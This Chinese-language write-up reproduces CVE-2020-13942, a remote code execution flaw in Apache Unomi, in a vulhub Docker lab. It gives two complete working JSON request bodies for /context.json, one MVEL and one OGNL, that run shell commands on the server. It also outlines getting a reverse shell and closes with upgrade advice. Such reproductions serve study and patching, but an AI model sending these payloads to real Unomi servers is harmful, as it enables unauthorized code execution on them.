天天看点

CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现

0x00 简介

Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发,2015 年 10 月提交给了 Apache 孵化器。Apache Unomi 具有隐私管理、用户/事件/目标跟踪、报告、访客资料管理、细分、角色、A/B 测试等功能,它可以作为:Web CMS 个性化服务、原生移动应用的分析服务、具有分段功能的集中配置文件管理系统、授权管理中心。

0x01 漏洞概述

Apache Unomi允许远程攻击者使用可能包含任意类的MVEL和OGNL表达式发送恶意请求,从而产生具有Unomi应用程序特权的远程代码执行(RCE)。

0x02 影响版本

Apache Unomi < 1.5.2
           

0x03 环境搭建

  1. 使用vulhub环境进行搭建
https://github.com/vulhub/vulhub/blob/master/unomi/CVE-2020-13942/
           
  1. 使用以下命令启动环境
docker-compose up -d
           
CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现

3.docker ps 查看运行安状况

CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现

4.访问192.168.141.131:8181或者192.168.141.131:9443,即可搭建成功

CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现

0x04 漏洞复现

  1. 使用bp进行抓包,通过MVEL表达式执行任意命令
{

  "filters": [

    {

      "id": "sample",

      "filters": [

        {

          "condition": {

             "parameterValues": {

              "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/max\");"

            },

            "type": "profilePropertyCondition"

          }

        }

      ]

    }

  ],

  "sessionId": "sample"

}
           

修改请求方式为 POST 在 /context.json 上进行

CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现

2.执行如下命令进入镜像

docker exec -it a96ae81dab02 /bin/bash
           
CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现

此时可以看到命令已经被执行了

3.通过OGNL表达式执行任意命令

{

 "personalizations":[

  {

   "id":"gender-test",

   "strategy":"matching-first",

   "strategyOptions":{

    "fallback":"var2"

   },

   "contents":[

    {

     "filters":[

      {

       "condition":{

        "parameterValues":{

         "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/doublemax\"))",

         "comparisonOperator":"equals",

         "propertyValue":"male"

        },

        "type":"profilePropertyCondition"

       }

      }

     ]

    }

   ]

  }

 ],

 "sessionId":"sample"

}
           

使用Burpsuite发包

CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现

查看目标系统,可以看到已经成功创建 doublemax 文件

CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现

4.利用此漏洞反弹shell

监听

CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现

反弹shell命令

经该网址

http://www.jackson-t.ca/runtime-exec-payloads.html
           

编码后

将该命令作用到exec()函数上

使用 BurpSuite 发送即可获取shell

CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现

0x05 防护建议

  1. 升级到安全版本https://unomi.apache.org/download.html
  2. 避免将关键数据作用到表达式中

继续阅读